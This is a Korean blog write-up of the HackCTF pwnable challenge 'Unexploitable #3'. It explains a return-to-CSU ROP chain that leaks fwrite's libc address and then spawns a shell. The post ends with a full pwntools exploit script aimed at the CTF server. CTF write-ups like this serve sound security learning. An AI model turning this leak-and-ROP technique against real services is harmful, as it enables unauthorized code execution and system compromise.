WAR GAME/HackCTF

[HackCTF : Pwnable] Unexploitable #3 풀이 (64bit, RTC, fwrite)

jir4vvit 2021. 4. 20. 16:22

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

RTC 기법으로는 인자를 3개까지 제어할 수 있다.

그런데 fwrite는 인자가 4개이다.

마지막 인자는 어떻게 제어해야 할까...?

 

가 이 문제의 핵심이다.

 


주어진 파일은 문제파일 바이너리

 

Analysis

일단 실행

이전 unex~1,2랑 흐름이 똑같다.

IDA

main에서 bof가 일어난다.

gift 함수가 있는데.... 가젯 안준단다. 너무하다....

 

How to exploit

fwrite로 leak해서 ROP를 진행해야겠다.

그런데 ROPgadget으로 잘 살펴보면 가젯이 부족하다...

 

이럴때 요긴하게 쓸 수 있는 방법이 아래의 RTC 기법이다.

jiravvit.tistory.com/entry/RTC-Return-to-CSU

 

RTC (Return to CSU) (수정)

HackCTF에서 RTC 문제를 풀어보려고 하는데, RTC 기법이 뭔지 잘 몰라서 정리를 해본다.. 개요 64bit ROP를 진행하려면 필요한 gadget들이 있어야 한다. 예를 들면,,, read함수를 실행시킨다고 가정하면,, re

jiravvit.tistory.com

 

그런데 RTC 기법으로는 인자를 3개밖에 제어할 수 없다. 

edi, rsi, rdx...

 

fwrite 함수를 사용하려면 rcx 가젯이 필요하다.

pop rcx 가젯은 없었다.

저기 노란색 박스의 가젯을 이용하도록 하자. (참고로 pop rdi 가젯은 거의 무조건 있음)

 

어떻게 저 가젯을 쓸 생각을 했냐면, 

RTC 기법을 공부하고 가젯을 찾을 때 눈에 잘 보이는게 mov ~ 라는 가젯이였다.

저런식으로 rdi에 있는 값을 rcx로 옮겨주면 우리는 rcx도 제어할 수 있다.

 

사실 저 가젯은 gift에 있는 가젯이다. (진짜 gift다,,,)

가젯 찾을 때 이런 함수들의 어셈블리어를 잘 보는 습관을 생활화해야겠다.

 

 

아무튼 rcx는 저 가젯으로 제어하면 되고, 나머지는 rtc 기법을 이용해서 edi, rsi, rdx를 제어할 수 있다.

 

 

아 참고로 stdout 같은건 아이다에서 편리하게 바로 찾을 수 있다.

Let's exploit

chain함수를 편리하게 ... 잘 활용하였다.

from pwn import *

#p = process('./Unexploitable_3')
p = remote('ctf.j0n9hyun.xyz', 3034)
e = ELF('./Unexploitable_3')
#libc = e.libc

def chain(got, A, B, C, csu_call):
    payload = ''
    payload += 'A' * 8
    payload += p64(0)
    payload += p64(1)
    payload += p64(got)
    payload += p64(C)
    payload += p64(B)
    payload += p64(A)
    payload += p64(csu_call)

    return payload


fgets_got = e.got['fgets']
fwrite_plt = e.plt['fwrite']
fwrite_got = e.got['fwrite']
stdout = 0x601050

#print hex(fwrite_got)
pop_rdi = 0x400743
mov_rcx = 0x400658
main = 0x40065f
ret = 0x4004d1

csu_call = 0x400720
csu_init = 0x400736

log.info('first main')
log.info('[1] fwrite@got leak')
payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(stdout)
payload += p64(mov_rcx)
payload += p64(csu_init)
payload += chain(fwrite_got, fwrite_got, 1, 6, csu_call)
payload += chain(0, 0, 0, 0, main)

p.sendlineafter('\n', payload)

log.info('second main')
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('fwrite@got = '+hex(leak))

log.info('[2] get libc addr')
#libc_base = leak - libc.symbols['fwrite']
#log.info('libc_base = '+hex(libc_base))

#system = libc_base + libc.symbols['system']
#binsh = libc_base + libc.search('/bin/sh').next()
system = leak - 0x29350
binsh = leak + 0x11e677


payload = ''
payload += 'A' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

log.info('[3] exploit... system(binsh)')
p.sendlineafter('\n', payload)



p.interactive()

 

remote 딸 때, libc 다운받기 귀찮아서 offset을 계산했다.